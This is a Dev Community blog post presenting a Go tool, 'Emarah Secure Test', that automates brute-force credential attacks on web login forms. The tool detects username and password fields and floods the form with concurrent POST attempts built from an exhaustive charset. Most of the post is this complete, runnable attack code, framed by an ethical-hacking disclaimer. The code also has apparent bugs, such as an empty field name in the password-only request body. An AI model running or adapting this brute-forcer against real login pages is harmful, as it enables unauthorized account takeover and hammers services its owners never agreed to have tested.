Emarah Secure Test: A Penetration Testing Tool for Ethical Hacking

ABDULLAH AL AZMI - Sep 9 - - Dev Community

Emarah Secure Test is a penetration testing tool designed for ethical hacking, research, and educational purposes. This tool focuses on credential cracking using brute force techniques while ensuring a secure and controlled environment. It is specifically built to demonstrate vulnerabilities and improve understanding of security measures through real-world scenarios.

Key Features:

  • Brute Force Attack Engine: Utilizes concurrent and sequential brute force attacks to crack credentials, detecting username and password fields on web pages and automating login attempts.
  • Customizable Configuration: Easily configure the base URL, character set, password length, and concurrency level to suit different testing needs.
  • Input Field Detection: Automatically detects input fields like username and password on target pages, ensuring accurate and efficient attack attempts.
  • Concurrent and Sequential Attacks: Supports concurrent cracking for quick results or sequential cracking to target specific fields, enhancing the tool's versatility in various penetration testing scenarios.
  • Process Management and State Tracking: Manages brute force state using thread-safe techniques, ensuring accurate tracking of attempts and preventing redundant processes.
  • Security and Ethical Use: Designed strictly for ethical hacking and educational purposes, with strong emphasis on secure deployment and usage within legal boundaries.

Use Cases:

  • Educational Demonstrations: Use this tool to demonstrate the impact of weak password policies and the importance of strong security measures.
  • Research and Development: Ideal for researchers working on cybersecurity improvements and developing more secure authentication mechanisms.
  • Ethical Hacking Training: Train cybersecurity professionals by providing real-world penetration testing scenarios in a controlled environment.

Disclaimer:

Emarah Secure Test is intended strictly for ethical hacking and educational purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal and against the principles of this tool.

Code:

package main

import (
    "bytes"
    "fmt"
    "net/http"
    "strings"
    "sync"
    "time"

    "golang.org/x/net/html"
)

type Config struct {
    BaseURL     string
    Charset     string
    MaxLength   int
    Concurrency int
}

type BruteForceState struct {
    Found    bool
    Attempts int
    Username string
    Password string
    Mutex    sync.Mutex
}

func main() {
    config := Config{
        BaseURL:     "http://192.168.0.1/login.html",
        Charset:     "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()",
        MaxLength:   4,
        Concurrency: 10,
    }

    state := BruteForceState{}
    startTime := time.Now()

    runBruteForce(config, &state)

    duration := time.Since(startTime)
    if state.Found {
        fmt.Printf("Username: %s\nPassword: %s\nAttempts: %d\nTime taken: %v\n", state.Username, state.Password, state.Attempts, duration)
    } else {
        fmt.Println("Credentials not found within the given length constraints.")
    }
}

func runBruteForce(config Config, state *BruteForceState) {
    usernameField, passwordField, nextPage := detectFields(config.BaseURL)

    if usernameField != "" && passwordField != "" {
        fmt.Println("Attempting to crack username and password concurrently...")
        performConcurrentAttack(config, state, usernameField, passwordField)
    } else if usernameField != "" {
        fmt.Println("Username found, attempting to crack username first...")
        crackedUsername := performSequentialAttack(config, state, usernameField, "")
        if crackedUsername != "" {
            passwordField, _ = detectNextPageFields(nextPage)
            if passwordField != "" {
                fmt.Println("Username cracked. Now attempting to crack the password...")
                performSequentialAttack(config, state, "", passwordField)
            }
        }
    } else if passwordField != "" {
        fmt.Println("Only password field detected, attempting to crack...")
        performSequentialAttack(config, state, "", passwordField)
    }
}

func detectFields(url string) (usernameField, passwordField, nextPage string) {
    resp, err := http.Get(url)
    if err != nil {
        fmt.Println("Error fetching the page:", err)
        return
    }
    defer resp.Body.Close()

    doc := html.NewTokenizer(resp.Body)
    for {
        tokenType := doc.Next()
        if tokenType == html.ErrorToken {
            break
        }

        token := doc.Token()
        if tokenType == html.StartTagToken && token.Data == "input" {
            var inputType, id, name, placeholder string
            for _, attr := range token.Attr {
                switch attr.Key {
                case "type":
                    inputType = attr.Val
                case "id":
                    id = attr.Val
                case "name":
                    name = attr.Val
                case "placeholder":
                    placeholder = attr.Val
                }
            }

            if inputType == "text" || strings.Contains(id, "user") || strings.Contains(name, "user") || strings.Contains(placeholder, "user") {
                usernameField = id
            } else if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
                passwordField = id
            }
        }

        if tokenType == html.StartTagToken && (token.Data == "a" || token.Data == "button") {
            for _, attr := range token.Attr {
                if attr.Key == "href" {
                    nextPage = attr.Val
                }
            }
        }
    }

    return
}

func detectNextPageFields(url string) (passwordField, nextPage string) {
    resp, err := http.Get(url)
    if err != nil {
        fmt.Println("Error fetching the next page:", err)
        return
    }
    defer resp.Body.Close()

    doc := html.NewTokenizer(resp.Body)
    for {
        tokenType := doc.Next()
        if tokenType == html.ErrorToken {
            break
        }

        token := doc.Token()
        if tokenType == html.StartTagToken && token.Data == "input" {
            var inputType, id, name, placeholder string
            for _, attr := range token.Attr {
                switch attr.Key {
                case "type":
                    inputType = attr.Val
                case "id":
                    id = attr.Val
                case "name":
                    name = attr.Val
                case "placeholder":
                    placeholder = attr.Val
                }
            }

            if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
                passwordField = id
            }
        }
    }

    return
}

func performConcurrentAttack(config Config, state *BruteForceState, usernameField, passwordField string) {
    var wg sync.WaitGroup
    passwords := make(chan string, config.Concurrency)

    for i := 0; i < config.Concurrency; i++ {
        wg.Add(1)
        go worker(config, state, passwords, usernameField, passwordField, &wg)
    }

    generatePasswords(config, passwords)
    close(passwords)
    wg.Wait()
}

func performSequentialAttack(config Config, state *BruteForceState, usernameField, passwordField string) string {
    passwords := make(chan string, config.Concurrency)
    var wg sync.WaitGroup

    for i := 0; i < config.Concurrency; i++ {
        wg.Add(1)
        go worker(config, state, passwords, usernameField, passwordField, &wg)
    }

    generatePasswords(config, passwords)
    close(passwords)
    wg.Wait()

    if usernameField != "" {
        return state.Username
    } else if passwordField != "" {
        return state.Password
    }
    return ""
}

func worker(config Config, state *BruteForceState, passwords <-chan string, usernameField, passwordField string, wg *sync.WaitGroup) {
    defer wg.Done()
    for password := range passwords {
        if state.Found {
            return
        }

        success, foundUsername := attemptLogin(config, usernameField, passwordField, password)
        state.Mutex.Lock()
        state.Attempts++
        if success {
            state.Found = true
            if foundUsername {
                state.Username = password
            } else {
                state.Password = password
            }
        }
        state.Mutex.Unlock()
    }
}

func attemptLogin(config Config, usernameField, passwordField, value string) (bool, bool) {
    var data string
    if usernameField != "" {
        data = fmt.Sprintf("%s=%s", usernameField, value)
    } else if passwordField != "" {
        data = fmt.Sprintf("%s=%s&%s=%s", usernameField, value, passwordField, value)
    }

    req, err := http.NewRequest("POST", config.BaseURL, bytes.NewBufferString(data))
    if err != nil {
        return false, false
    }
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return false, false
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        buf := new(bytes.Buffer)
        buf.ReadFrom(resp.Body)
        if strings.Contains(buf.String(), "Welcome") {
            return true, usernameField != ""
        }
    }

    return false, false
}

func generatePasswords(config Config, passwords chan<- string) {
    for length := 1; length <= config.MaxLength; length++ {
        generateCombination("", length, config.Charset, passwords)
    }
}

func generateCombination(prefix string, maxLength int, charset string, passwords chan<- string) {
    if len(prefix) == maxLength {
        passwords <- prefix
        return
    }
    for _, c := range charset {
        generateCombination(prefix+string(c), maxLength, charset, passwords)
    }
}

Enter fullscreen mode Exit fullscreen mode

Install this also:

go get golang.org/x/net
Enter fullscreen mode Exit fullscreen mode
. . . . .
Terabox Video Player